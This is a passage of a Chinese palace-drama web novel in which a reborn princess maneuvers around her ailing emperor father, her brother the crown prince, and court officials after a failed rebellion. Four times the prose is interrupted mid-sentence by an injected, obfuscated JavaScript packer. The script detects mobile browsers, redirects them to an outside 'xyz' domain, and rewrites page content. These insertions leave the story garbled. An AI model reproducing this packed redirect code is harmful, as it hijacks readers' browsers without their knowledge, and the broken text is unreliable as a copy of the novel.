宋清晏打量着宋澜地神色,见他不作声,猜想是都察院的弹劾起了作用,让她父皇也有所顾忌。 见状,她忙接着道, “儿臣所做的一切,都是为人臣子,为人子女应为之,无需嘉奖。若说父皇想给儿臣赏赐,眼下儿臣的确有一事想求助于父皇。” “何事?” “儿臣年幼顽劣,父皇曾特许儿臣在一众世家女儿中亲自挑选了钟婉因为公主伴读,婉因自幼离开家进宫陪在儿臣身边,以至于多年来同家人聚少离多。儿臣不忍见她受钟侍郎连累,葬送一生,所以恳请父皇开恩,留婉因一条生路。” 帏幔后传来一阵闷咳声,宋清晏余光向上扫过,见父皇的身影跟着颤抖着。 她抿了抿唇,心口涌上一阵酸涩。 纱帐晃了晃,她听见宋澜问道, “你的救驾之功,就只为了给钟家女换个恩情?” 宋清晏语气坚定,“儿臣也有罪过在身,插手锦衣卫查案,又私自将人送往大理寺,罔顾法纪自是要向父皇请罪。” “你来之前,朕见过了严霄。” 宋清晏一怔,又听他道, “严霄同朕讲,是他将人送往大理寺,倒是半分未提起你也参与其中。你同钟家女自幼一起长大,顾念旧友是情理之中。你想帮她,私下和朕商议便可,无需你拿救驾之功来做交易。” 闻言,宋清晏苦笑了下。 皇城中葬送了她一辈子,这座城繁华威严下的真面目她早已深谙。 “可是父皇,这世上从来都没有不透风的墙,更何况儿臣想让婉因今后能过得体面,堂堂正正的做人,不必余生受困于父辈罪名,谨小慎微,东躲西藏。” 宋岚沉默良久,幽幽开口道:“我儿长大了,行事比起从前要思虑周全。既如此,那便依你的意吧。” 宋清晏松了口气,正欲叩首,又听他道, “这些日子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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重活一世,宋清晏每每看见宋清昀时很难将他再当做那个体弱多病的弟弟对待,甚至很多时候她总是会下意识地避开目光,不同他对视。 不论是前世还是今生,她似乎从未真正了解过她的弟弟。 犹豫片刻后,宋清晏迈步上前轻柔地替宋承钧整理好衣领,僵硬地忽略他眼里闪过了片刻惊诧,开口道, “等久了吧,虽是开春但早晚天凉,出门也应当多加件衣物了。” 宋清昀看向面前的人,不知不觉间,他早已高过阿姐半个头,褪去了年幼时的稚嫩与单薄。 可似乎,没有人在意他的成长。 就好像无论何时,在所有人眼中他一直都是那个肩不能扛手不能提的孩童,是那个文韬武略差强人意永远比不过阿姐草包太子。 宋清昀隐在衣袖里的手蜷缩了下,询问道:“近来天冷,阿姐身上的伤未痊愈,还是在宫里多休息不宜奔波。” 闻言,宋清晏垂下眼睛,想来她去钟府的事自己这个弟弟已经知晓。 父皇经裕亲王谋逆一事近几日精神状态更差了些,白日里服了药后常常昏睡,太医院的人劝解说皇帝宵衣旰食,忧思过重应暂放国事调养生息。 宋清晏一时有些摸不清弟弟的态度,只好解释道:“婉因从小跟在我身边,回府也不过一年多的时间,我实在不忍心看见她花一样的年纪受家里牵连断送一生。” 宋清昀扯了扯嘴角僵硬地笑着说:“我明白,阿姐向来是这样重情重义,在阿姐心里重要的人总是会不惜一切代价相帮。” “只是,”宋清昀别开眼,不再同她对视,“阿姐想救钟姑娘,为何不同我说?父皇昏睡期间由我暂代朝中事宜,若知阿姐有此意,自会帮阿姐处理。” 宋清晏叹了口气,她这个弟弟当真是比想象中的难搞。 连她本人对霍凌和婉因之间的恩怨都是一知半解,更是没办法向她这个弟弟去解释。 且承钧自幼长在宫里,凭他的认知定然觉得只要让钟婉因保住性命便可,贬为贱籍亦或者是送去教坊司,他意识不到一个罪臣之后的头衔会让婉因今后的日子过得有多艰难。 无奈,她只能道:“当时得知锦衣卫抄家的消息便急着赶过去,是姐姐心急了。下次,若还有这样的事阿姐一定寻你,咱们姐弟一起商议。” 面对突如其来的示弱,宋清昀一时间有些无措。 顷刻间他脸上的血色一点点漫上来,沉默了半晌后,他闷声道,“对不起阿姐,我不是这个意思...我说错话了,我是想......” “好了,阿姐知道,”宋清晏笑了笑,望向宋承钧的眼眸中却透着一丝悲凉。 “自家姐弟,有什么过不去的呢。” 7. 第 7 章 一早上接连见到父皇和弟弟承钧,宋清晏紧绷着精神,此时觉得整个人疲惫不堪,靠在轿辇上合眸养神。 “公主!” 宋清晏睁开眼,寻声侧首,见是钟府那日遇见的圆脸小旗正在宫道拐角处朝她招手。 见她抬手示意,小旗连忙欢快地上前。 “你怎么来这儿了?”宋清晏问道。 “方才陪我们指挥使一起来的,陛下说想亲自看一看钟侍郎一案的卷宗,指挥使便差我送过来。” 他顺势抬手帮宋清晏扶着轿辇,又道:“公主从前一向不乘轿辇,想是伤尚未痊愈,近来天凉您还是少走动多注意休息。” 宋清晏一怔,随即笑道:“你像是同我时常相见,连我不坐轿辇都清楚。” 小旗挠了挠头,“卑职言语冒失了,不过宫里宫外卑职确实经常见到公主。” 宋清晏提不起半点记忆,印象里除了幼时同严霄误打误撞有过几次交际外,似乎从未结识过锦衣卫的其他人。 “公主是贵人,不认得卑职也是正常。卑职从前在锦衣卫打杂时,常常见公主策马扬鞭的英姿,公主在卑职心里乃女中豪杰!” 宋清晏笑了笑,觉得他讲话时语调表情甚是有趣。 她身为大梁护国长公主的前半生,听过的赞扬奉承之声无数,已经记不得多久未曾见过这般不加私欲的夸奖。 一时高兴路上她倒是问了他许多问题,从姓甚名谁到家中有几口人,再到锦衣卫中的趣事,宋清晏从前同锦衣卫打交道少,几番交谈下来倒是得知了许多从前不知道的趣事。 赵小旗目光落在宋清晏绯红的袖摆上,似是想到了什么开口道:“公主,您应该不会去和亲的吧?” 宋清晏被他没头没尾的话问得有些茫然,笑道:“为何突然这么问?” “听闻前些日子业国使臣前来商议联姻之事,嗐!是我想多了,公主您身份尊贵,圣上怎会舍得让您去联姻呢?” 赵小旗挠挠头,“我就是觉得像公主您这样优秀的女子合该在山川湖海,家国天下绽放光彩,成为这天下女子的表率!” 宋清晏轻笑道:“这话听着,倒不像是你说的。” 赵小旗憨笑了几声说,“的确不是卑职说的,是卑职家姐常常在家中提起公主您。阿姐常说,有公主这样的人存在于世上,本身就是一束光,鼓舞的是困顿于世俗纲常的千千万万寻常女子。” 赵小旗正色道,“她想成为像您一样的人,” 宋清晏微怔,涂着精致蔻丹的指甲不自觉的扣着轿辇扶手。 从来没有人和她说过这样的话, 前世,她风光无两之时收到的赞誉诸多,争议亦是诸多。人们总是希望女儿家能够贤良淑德,私下里没有人愿意自家姑娘长成靖和长公主这般模样。 大多数人总是担心女子一旦有了自己的意识和能力,就会难以成为好操控的提线木偶。所以上一世靖和长公主的于朝政之上黯然退场,亦是成为无数人佐证这一观点的谈资。 回想她这一生,父母相继离世,推行改革反倒使百姓饱受流离之苦。甚至到最后连她自己都开始有所动摇,自我怀疑,觉得兴许自己本就是个失败透顶的人。 她贵为长公主,行走在这世间都会遭到诸多困难和非议,更何况是旁的女子呢。 “今年年初,她同家里争执了许久退了小时候定下的亲事,来镇抚司做了仵作。” 宋清晏道,“仵作?” 赵小旗道:“是,卑职家中父亲便是仵作出身,家姐从小耳濡目染偷学来些手艺。” 他笑得灿烂,又道:“说起来,还要感谢我们指挥使。这世上对女子偏见诸多,阿姐自离家后屡次碰壁,是指挥使给了她这个机会破例收她进镇抚司。” “你说的是严霄?” “对!”赵小旗点点头,“其实我们指挥使是面冷心热,他只不过...只不过给人的感觉太拒人千里之外了。” 宋清晏扯了扯嘴角,显得有些诧异。 并非她小人之心,但她实在没法将这小旗口中描述的严霄同她印象当中的那个重合在一起。 顷刻间,宋清晏凤眸微动,俯身小声问道:“小赵,我问你啊,你来锦衣卫这么久了听没听说过关于你们严指挥使的私事?” 赵小旗抬首问道:“公主指的是哪些事?” “京城里都在传严大人才貌双绝,年纪轻轻身居高位却推拒了所有上门议亲之人,你可知这是为何?难不成......” 赵小旗道,“难不成什么?” “难不成真像旁人说的那样,严大人不近女色是另有隐情?” “嗐!”赵小旗抬手擦了擦额角的汗水道, “那都是京城那些人编排指挥使的瞎话,这事儿我还调查过,听说是朝中一官员为了拉拢我们指挥使,宴请指挥使前去府中喝酒,期间叫了无数美貌的歌妓企图借酒迷惑我们指挥使。没成想指挥使美人坐怀不乱,那人计划落空恼羞成怒便传谣诋毁我们指挥使!” 宋清晏听得认真,跟着点了点头:“那严大人还真是有定力。” “公主您有所不知,我们指挥使十岁就在锦衣卫做舍人里面历练,舍人那分得都是下等差事,都是些脏活累活。平时里还要去教坊司,妓院抓一些寻欢作乐的官员和世家子弟。那场面......” 赵小旗砸了咂舌, “门一踹开白花花的,三四个连在一起的,真是什么都见得到,指挥使也是从小见过大风浪的人!” 宋清晏想起十几岁时严霄那张严肃的脸,猜想第一次干这种差事时面色得多难看,不由得笑出声。 “不过......” “不过什么?”宋清晏问。 赵小旗挠了挠头,“我倒是还听说过一件事,不知真假。” “听闻指挥使年少时曾遇见一个模样俊俏的小郎君,这小郎君见我们指挥使生得好便一顿死缠烂打,恨不得吃同席睡同寝!许是被那小郎君闹得,我们指挥使这么多年才愈发不愿与人亲近......” 小旗说得投入,完全没注意轿辇中端坐着的宋清晏脸色变化。 宋清晏嘴角抽了抽,欲言又止,最终还是忍不住问道, “你可知你们指挥使当初,是在哪儿遇见这小郎君的?” 赵小旗斩钉截铁道,“这我还真知道! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921211|160353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是在他前往西北军营历练的那两年!” 宋清晏:“......” * 同赵小旗分道扬镳后,宋清晏显得有些心神不宁一个人端坐在窗前坐了许久。 芷兰捧着朝中世家官员名册进来时,见宋清晏依旧维持着一个姿势发呆,忙上前询问道:“公主在想什么?” 宋清晏收回视线,看着桌案上堆积成山的户籍名册心不在焉道:“我回宫之前,你可曾听闻业国意图和我朝联姻之事?” 芷兰沉思半晌,点了点头。 “确有此事,奴婢知道的也不多,圣上子嗣单薄只有皇子三位,公主两位,五公主年幼礼部想来一直没能找到合适的人选,此事便不了了之了。” 经赵小旗的一番提醒,宋清晏突然意识到前世在裕王叔谋反之前,宫中似乎也曾商议过联姻之事。 只不过一来她身份尊贵,没人将联姻之事往她身上想罢了。 二来,裕王叔谋反事出突然,再无闲暇顾虑此事。 前世,平定谋反紧随其后的便是父皇册封她为护国公主,辅佐幼弟协理朝政。 而如今重活一世,一些被她忽视的细节逐渐变得清晰。 冰冻三尺非一日之寒,她与宋承钧姐弟离心也并非在一夕之间。 赵小旗提到的联姻之事倒是给她提供了些灵感,想要尽早摆脱舆论中心,远离朝政,她需得尽快开府搬出去住。 躺在自己宫里养伤的这几日,宋清晏分批次将朝中世家官员名册翻了又翻。 前世她行事肆意张扬,朝中得罪的人无数,别说等她失势了害她,就算她安然无恙活完一辈子,待她百年之后掘坟的都大有人在。 重活一世,她恍然间发觉前世也是在这个时间点,自裕王府被抄家之后,她仿佛被一路许多人推着走。 自她受封护国公主开始,行的每一步都想被事先计划好了的那般,引导她走向权力的漩涡。 从万人敬仰,到声名狼藉。 神游天外之时,有一道清冷低沉的声音自脑海中飘过,“身居高位,见浮华如春梦,殿下聪慧,自然深知其中利害,早日清醒。” 宋清晏揉了揉眉心,觉得仿佛严霄那副常年寡淡无趣的脸,又阴魂不散地出现在自己面前。 她目光瞟向一旁正在沏茶的宫人,灵光一闪,探身浮夸道, “芷兰,我问你啊,你觉得谋逆案审理了解后,我父皇会不会嘉奖于我?” 芷兰沏茶的手一顿,随即喜笑颜开道:“那是肯定的啊!公主前几日昏迷之时有所不知,当日公主千里救驾临危不惧京城内外都传遍了,如今京城大街小巷内满是公主的赞扬之声,连茶社客栈都在讲您奋勇杀敌的故事,还有人说...” 宋清晏挑眉,“还说什么?” “还有人说,有靖和公主乃我朝之幸。公主放心,圣上不也常常说过若您不是女儿身,这天下......” “打住!” 宋清晏扶额,站起身愁苦道:“以后,这种话莫要再说了。” “公主您去哪儿?” 宋清晏道,“去寻太傅,让他尽快给我找个合适的夫婿!” 8. 第 8 章 静谧的书房内,日光透过窗棂,洒下一片柔和的光辉。 荀太傅身着素雅长袍,端坐在书桌前,神色专注而宁静。他的手中捧着一本古籍,微微低头,目光紧紧地锁住书页上的文字。 历经朝代更替,岁月在他的脸上留下了深浅不一的痕迹。 但此刻的他,仿佛忘却了时间的流转,沉浸在书中的世界,思索着字里行间的深意。时而轻轻翻动书页,发出细微的沙沙声,在这宁静的空间里显得格外清晰。 宋清晏在门前驻足许久,前世经谋逆案后不久何党一派奋起反击,于朝政之上诬蔑弹劾于太傅,从而导致太傅气急攻心郁郁而终。 如若不然,她父皇兴许也不会放心不下,非叫她辅佐朝政不可。 她从小到大身边阿谀奉承之声不断,太傅是她身边为数不多会认真同她分析其中利害,好言规劝的人。 只不过当年宋清晏因着母后的离世耿耿于怀,以至于复仇心切,未曾将太傅的话放在心里,否则也不至于落到前世那般下场。 许是她驻足太久,荀太傅有所察觉,随即便招手示意她进来。 宋清晏落了坐手法娴熟地沏了盏茶,规矩地递到太傅面前。 荀太傅看着她的举动道,“公主今日怎么有兴致来老朽这里喝茶了?” 宋清晏有些尴尬地笑了笑,她年幼时性子一向急躁,仗着父皇宠爱在京城肆意惯了,平日里最喜舞刀弄枪,心平气和地坐下来喝茶习字反倒是对她极大的折磨。 如今能耐着性子坐下来喝茶,还是上辈子困于别苑的那一年所养成的习惯。 “近来宫中事多烦心,想来太傅这里寻个清静。” 太傅抿了一口茶水,抬手指向身侧的棋桌道,“太子殿下今日一早,也是心事重重过来寻老朽下棋。” 他眼中含笑道,“你们姐弟,脾气秉性截然不同,可说到底也是血脉相连的骨肉至亲。” 宋清晏垂下眼帘,神色如常道,“承钧忧心忡忡,多半是因为我这个长姐的缘故。” 太傅握着茶盏的手停顿半刻,没有做声。 荀太傅时任内阁首辅兼太傅,圣上醒来后召集内阁和司礼监议事,当日发生的种种太傅自是心知肚明。 “谋逆一案,承钧一个人抗住压力辛苦筹谋了这么久,却没有得到父皇乃至朝野太多夸赞认可,反倒是我这个做姐姐的出尽风头。” “公主此言差矣,” 荀太傅打断道,“太子身为储君,家国有难劳心费神是他应尽之责。古往今来,东宫之路荆棘丛生。子不类父,父厌之。子若类父,父疑之,比皇帝更难当的是太子,太子年岁尚小陛下有意磨炼也在情理之中。” 宋清晏有些犹豫,顿了顿道,“满京皆知靖和公主仗着圣上宠爱张扬跋扈,或许该磨砺的人是我,承钧需要的才是认可。” “殿下既知太子需要的是什么,何不以亲力而为,外人的赞誉怎比得过骨肉至亲。” 宋清晏垂眸不语, 自母后去世后,她常年女扮男装在外飘荡,鲜少回宫。现如今又有前世种种摆在她面前,她是真的不知道该如何同这位一母同胞的亲弟弟相处。 无奈,宋清晏只好借口道:“我自幼顽劣,不似承钧敏而好学,耐得住寂寞。这些年东奔西跑惯了,如今回来觉得承钧这几年成长了许多,行事稳妥滴水不漏,颇有储君风范,他已然有能力独挡一面,不需要任何人的庇佑。” 她叹了口气,“倘若父皇的第一个孩子是承钧,拥有一目重瞳的人也是承钧,他的日子定然比现在好过。我这个长姐横在他前面,这些年叫他受苦了。” 荀太傅明白宋清晏话中深意,他比这姐弟二人更早看清朝中局势,也更早读懂圣心。 荀太傅搁了茶盏,说:“公主,你还是没有明白。” 宋清晏微怔。 荀太傅站起身,朝窗边踱了几步,“太子最幸运的就是生在了公主您的后面,自公主您出生起,朝中风向才逐渐平稳。圣上封您为靖和公主,按照培养皇子一般教导您,并时常拿太子殿下同您比较。公主您可知,在这背后是圣上身为君父的一片苦心。” “圣上子嗣单薄,朝中皇子适龄不过二人,他同先皇后少年夫妻伉俪情深自是希望你们姐弟二人能相互扶持,守住这万里江山。宝剑锋从磨砺出,殿下您是太子的亲姐姐,是公主,是最不会涉足皇位之争的人,自然是磨砺太子最好的人选。” 宋清晏有些茫然,这本该是最显而易见的道理,却生生成了困住他们姐弟二人一辈子的心结。 她想起母后临终前的嘱咐,父皇屡次托孤,他们是最亲密无间,是最不该兵戎相见的家人。 她垂眸,唇齿间微颤最终只道:“您说的是。” * 陆绥一早得了太傅召唤,官服尚未换下便匆匆赶来。 临近殿门时,见宫道中央有轿辇停靠,想是有贵人前来,陆绥在原地驻足稍作等候。 不过半盏茶的时间,院内女子的交谈声由远及近,陆绥后退几步,低头靠在宫墙的一侧让开道路。 余光看见几名女使围着一位年轻的女子上了轿辇,临近时他听见女使称贵人为公主。 陆绥猛地抬起头,入目间只有一行人的背影,轿辇之上端坐着的女子一袭明艳的金丝祥云宫装,金钗步摇,气度不凡。 多年的朝堂生涯让他学会了内敛情绪,陆绥看着远去的人影,转回身迈步离去。 荀太傅将陆绥暗集的有关何次辅多年来贪污证据看了又看,满意的点点头。 眼前这个年轻人办事比起从前稳妥不少,陆绥任职刑科给事中,行走于六部多年,洞察人心。 前工部尚书钱岳云靠着攀附太后和内阁次辅何鸿飞,多年来在官场上混得如鱼得水,屡获升迁,一度官至正二品工部尚书,位高权重。 陆绥身为给事中,有监察六部之权,且他生平最是不屑这种攀附行为,屡次进行弹劾。 虽多次碰壁,但他最终他的坚持得到荀太傅的注意。 后来,永嘉帝宋澜准了他的弹劾,钱岳云被革除职务,废黜为民,灰溜溜的离开京城回到老家去。 荀太傅当时对这个年轻的给事中欣赏的同时,也看出了他行事激进,偏执的一面,这于官场乃是大忌。 也因此,这几年下来其他同僚陆续升迁,陆绥仍旧停留在原位置上。 少年人总是有着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921212|160353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的锐气,锋芒毕露,容易在不经意间招惹是非。 荀太傅有意磨砺他,陆绥若能静下心来沉淀自己,今后便是可堪大用之才。如若钻牛角尖心怀怨恨,便只能是朝野中一颗迅速暗淡的流星。 荀太傅将卷宗放在桌案上,眉眼含笑,“做的不错,比起从前细致沉稳了许多。” 陆绥拱手行礼,“得老师教诲,学生不胜感激。” “人成长兴许当真就在一夕之间,经此谋逆案后,你们这些年轻人都各自成长,这才是朝廷指日可待的希望。” 陆绥微微抬眼看向荀太傅,试探地问:“臣来的路上正巧看见了靖和公主离开,想是能让老师欣慰的,这么多年唯有靖和公主了。” 闻言,荀太傅似是无奈的笑着摇了摇头,“老朽一向教导门生明得失,知进退。唯有这公主殿下最是天马行空,要么迈步子过大,要么一时兴起又想退得无影无踪。竟想让老朽随便给她安排个亲事,好开府搬出去。” 陆绥一怔,“公主想成亲开府?” “罢了罢了,就当她的无稽之谈吧,兴许明天又要改变主意了。”荀太傅抬眼看向陆绥,“倒是你,在刑科待了这么多年,是该出去历练历练了。” * 入春后,京城的雨就下个不停。 房檐淅淅沥沥地落着积水,抽芽的柳枝摇曳着,青石板泛着些许潮湿的腥气。 站在城墙上俯瞰时,只觉得处处都带着些淡淡的绿意,透着生机。 因这谋逆一事, 朝廷接近半数官员经过了重新的洗礼,同党更是下了狱,与何氏一族一齐交由三法司会审。 何太后自事发后整日待在自己的寝宫里看着窗外的飞鸟,不是禁足,却也胜似。 她历经两朝,宫中人脉颇深,即使足不出户也能洞察朝中风向。 彼时,她倚靠在榻上,闻着一旁燃着的安神香听下人禀报着前朝的消息。 “护国公主?他倒是真心疼爱他这个宝贝女儿。” 洛云姑姑轻轻扇着香炉,说:“太后,先前我们对皇后做的事叫她发现了蛛丝马迹,这些年公主一直和我们作对。如今何阁老等候会审,圣上若是此时册封她为护国公主,由她代行执政,恐怕对我们不利。” “黄毛丫头,不足为惧。”何太后说,“可打探太子那边有什么动静?” 洛云姑姑说:“除却晨昏定省和朝政旁听外,太子殿下每日往返文华殿,没有任何异常。” “没有异常便是最大的异常,” 何太后抬眼,“皇帝病重,一直都是太子帮着协理朝政,自宋清晏回来以后,太子前往御书房的次数便少了,皇帝更属意他姐姐代行执政他怎么不知道。千里之堤毁于蚁穴,嫌隙一旦生了,就没那么容易化解了。” 洛云姑姑道:“奴婢明白太后的意思,会安排人多跟着这姐弟。不过还有一事......” “荀太傅近日提拔了几个门生,依次进入了都察院和大理寺,奴婢怕这是奔着严查咱们阁老去的。” 何太后轻叹了口气,“他想查便让他查,兄长既为当家人,棋局行错了一步,便要有祸事当头一人担的决心,如此我何家便还有东山再起之日。” 9. 第 9 章 宋清昀自文华殿听讲学回来的路上又下起了雨,为避免打湿出门前刚换好的衣衫,他行的每一步都格外小心,身后的内侍亦是提着精神小心翼翼地撑着伞。 临到殿门前时,门前的柳树随风摇曳,枝丫上挂着的水滴还是溅了些许在他身上。 他低头看了一眼,苍白的脸上看不出情绪,随即返回书房换了衣衫习字静心。 策论才写不过半页,房内接连响起的动静叫他蹙眉停住了笔。 宋清昀抬眼看过去,见内侍曹英正惊慌失措地站在一地杂乱的手稿中。 见太子被自己惊扰,曹英连忙跪地请罪。 宋清昀搁了笔,略有些不满道:“大伴,这是你今日第三次打搅本宫了。” 曹英不断叩首,“奴婢失责,奴婢罪该万死请太子殿下责罚。” 宋清昀审视着他,“跟在我身边这么多年,你从来不是毛手毛脚之人,你心里在担忧什么?或是你今日有什么话想同我说?” “太子...”曹英将头低了又低,“正是因为奴婢跟了太子这么多年,将太子一路走来的诸多不宜看在眼里,奴婢才替殿下您不平。” 宋清昀沉默良久,垂下眼,说:“外头的风言风语罢了,你也是宫中的老人了该知道这些话做不得数。” “可奴婢就是不甘心,自殿下您入主东宫整日战战兢兢,谨小慎微生怕有行差踏错之处招惹是非。日日苦练课业,发着高热都不曾有一天停歇。这几年大事小情都是您在背后打理,可打皇后娘娘走后,这宫里就没人看得见殿下的辛苦,明明都是一家人为何只有公主......” “住口!” 宋清昀呵斥道,“越说越没了规矩,看来平日是我对东宫的人太过纵容了。今日之事若是传了出去,挑拨皇室关系的罪名,你有几个脑袋够担得起的?” 曹英颤抖道,“奴婢该死。” 宋清昀正欲再开口,听见书房外一阵嘈杂的脚步声。 御前的几名内侍行了礼,忙道:“太子殿下,陛下下朝之后吐了血,您快过去看看吧!” 与此同时,宋清晏的轿辇一路疾行,停在养心殿门前时她顾不得等候搀扶,自行提着裙摆大步走进去。 掌印冯群正在门前候着,见她过来忙上前迎接。 宋清晏尚不知适合情况,询问道:“冯掌印,我父皇他怎么了?” 冯群眼中很合时宜的掉了几滴眼泪,哽咽道,“今儿早起时还好好的,上早朝前还和奴婢说了几句家常。想是被何阁老的案子闹得,气急攻心了这才吐了血,这可怎么好啊......” “气急攻心?”宋清晏蹙眉,“今日早朝有人不满对何氏一族的处决吗?” “哎呦公主哦!您自幼长在宫里又不是不知道,何家树大根深,何阁老从前提拔的门生不在少数。今日这些人非说谋逆一案都是何阁老一人之过,连累全族有失人道,非逼着陛下改了判决不可。” 闻言,宋清晏抬起头,目光越过层层宫阙看向寿康宫所在的方向。 不论前世何太后自行顶下所有罪责,还是今生推何阁老担罪,都有着壮士断腕的决心。 事发后这么长时间太后那边没有任何动静,想是就在等今日,企图置之死地而后生。 “奴婢跟在圣上身边半辈子了,圣上难受,奴婢心里更是万箭穿心。” 说着,掌印冯群缓缓跪在宋清晏面前,道:“自皇后薨逝后,诸多风雨都是圣上一人担着,身边连个说知心话的人都没有,时刻警醒着,身子更是一日不如一日。公主!算奴婢求您了,您就不要拒绝圣上的安排了......” 宋清晏后退两步,余光看见同样匆匆而来的宋承钧,忙借口离开。 “承钧,我们先行去见父皇。” 宋清昀点点头,待二人进入殿内后,曹英伸手扶起跪在地上声泪俱下的冯掌印。 冯掌印似乎是刹那间收敛了情绪,有条不紊地整理着仪容。 曹英侧首看了他半晌,还是忍不住道:“干爹,我不明白。” 六年前,曹英因得罪了司礼监的一众同僚,被冯群趁机送到尚且未被册封为太子的宋清昀身边。那时冯群语重心长的同自己讲了一段话,大致叫自己好好侍奉皇子,以待来日。 眼见日子一天天过去,宋清昀虽被册封为太子,可宫里人都知道同宣妃的三皇子相比,圣上册立宋清昀更多是念着先皇后的情分罢了。 更何况,太子上头还有一个如此耀眼夺目的公主。 如今圣上有意让公主辅政,那自己侍奉的主子岂不是成了有名无权的傀儡,当初干爹让他在太子身边以待来日,如今为何又求着公主去接手朝政。 冯掌印知道曹英心里在想什么,他叠着手中的帕子没有搭话。 半晌后,冯掌印叹了口气说:“你啊,这么多年目光还是一样的短浅,没半点长进。” 曹英道:“儿子愚钝。” “百足之虫死而不僵,一个谋逆案就想彻底扳倒何家,简直是痴心妄想。圣上早就料想到了这一点,叫公主辅政为的就是给太子成长的时间,让他们姐弟携手一个在明一个在暗,如此江山才能稳固。” 冯掌印转过身,看向曹英,“他日太子亲政,干爹这条老命还得靠你。” * 昏暗的寝殿内,气氛凝重而又沉闷,皇帝躺在龙榻之上,面色惨白发丝凌乱。 太医们围在身边,面上满是紧张之色,妃嫔同内阁众人跪地低声抽泣着。 良久后,皇帝的眼眸微微动了动,在宫人的搀扶下坐起身。 隔着帷幔缓慢侧首看向殿内众人。 目光落在为数不多地几位子嗣上时,他艰难地挣扎着,缓缓伸出手,“清...” 跪在最前面的宋清昀急忙上前,去握住那只颤抖的手,泪水萦绕在眼眶,却在听到皇帝吐出的下一个字时僵在半空。 “清...晏......” 他要叫的人是宋清晏。 宋清晏心口一窒,她强迫自己不去注意身边弟弟显得有些落寞的身影,只埋首跪行至宋清昀身侧,应声道,“父皇。” 她将头低了又低,却没有伸出手。 皇帝的手停在半空中,一时有些茫然。 “事到如今,鸢鸢还是不愿答应父皇吗?” 宋清晏心中有些苦笑,前世种种如梦似幻,众叛亲离的滋味又是那般清晰。 殚精竭虑近十载,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921213|160353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终却落得个污名满身。 她高估了自己,低估了人心。 拼命想守护的无论人还是事,其实都并不见得真心需要她。 那样的日子,实在太累了。 既然老天给了她重来一世的机会,这一世她想为自己而活,过好属于自己的人生。 她长舒了一口气,随即膝行上前几步,岔开话题。 “父皇是一国之君,为君为兄为子顾虑着宗教,舆情,礼法一直未能对谋逆案下最终判决。鸢鸢愿意替父皇担此重任,亲自护送裕王叔宋濯至封地,终身不得出入。何党犯上作乱,证据确凿,今日又于朝堂之上威逼父皇至此。儿臣和太子私下商议已久以为一人担责才是有失公正,凡与此案有牵连之人,都该接受三法司审判,以正朝纲。” 她转回头,看向殿内跪着的众人, “诸位大人都是朝中老臣,觉得太子殿下提议可有不妥之处?” 一众阁臣面面相觑,最终荀太傅最先道:“臣等附议。” 随即,在众人的见证下执起宋清昀的手放在皇帝干枯的掌心里。 “父皇卧病在床的这段时间,承钧将国事处理的很好。裕亲王谋反一事,若无弟弟昼夜不免的同叛军周旋,儿臣也未必能如此顺利地领兵救驾。” 宋清晏想起这段时日,偶尔间的几次目睹宋承钧处理政务时面容坚毅的模样,眼神中透露着超越年龄的沉稳与睿智。 这么年多,在她仗着父皇的宠爱,仗着一目重瞳带来的声誉飞扬跋扈的岁月里,承钧一直默默努力,飞速成长着。 重活一世,倒是发现了许多前世被忽略的细节,也重新认识了这个同她血脉相连的弟弟。 在那些被忽略的岁月里,弟弟在朝堂之外,时刻关注着国家大事,私下里苦心钻研兵法策略,与贤能之士切磋诗词歌赋。 他的才华与能力如同被掩盖的明珠,只等被发现的那一刻。 只不过,这么多年,父皇的目光始终停留在她身上罢了。 宋清晏笑了笑,缓缓道:“承钧已然有独当一面的能力,儿臣年岁大了,想嫁人了。” 话音在寂静的寝殿中回荡,殿内众人闻言抬起头面面相觑。 在此之前从未听闻公主提起过嫁人之事,靖和公主身份尊贵,寻常人家难以相配。且我朝驸马无实权,世家大族又不愿因求娶公主而割舍权力,以至于靖和公主拖到了十八岁都尚未婚配。 就在众人疑惑之时,太子宋清昀猛地抬头,目光灼灼道:“阿姐想嫁谁?” 宋清晏道:“自然是我心悦之人。” “阿姐婚配之人必然是家世清白,德行兼备父皇才肯放心。且阿姐久居京中,京城中适龄的子弟早已引荐许多次,并不曾听闻有入阿姐眼中之人。” 宋清晏一怔,她本就是找借口推辞,一时逞口舌之快胡说八道,并未想到宋承钧会在众目睽睽之下不依不饶。 无奈,她只好硬着头皮道:“并非世家子弟......” 宋清昀道:“那是?” 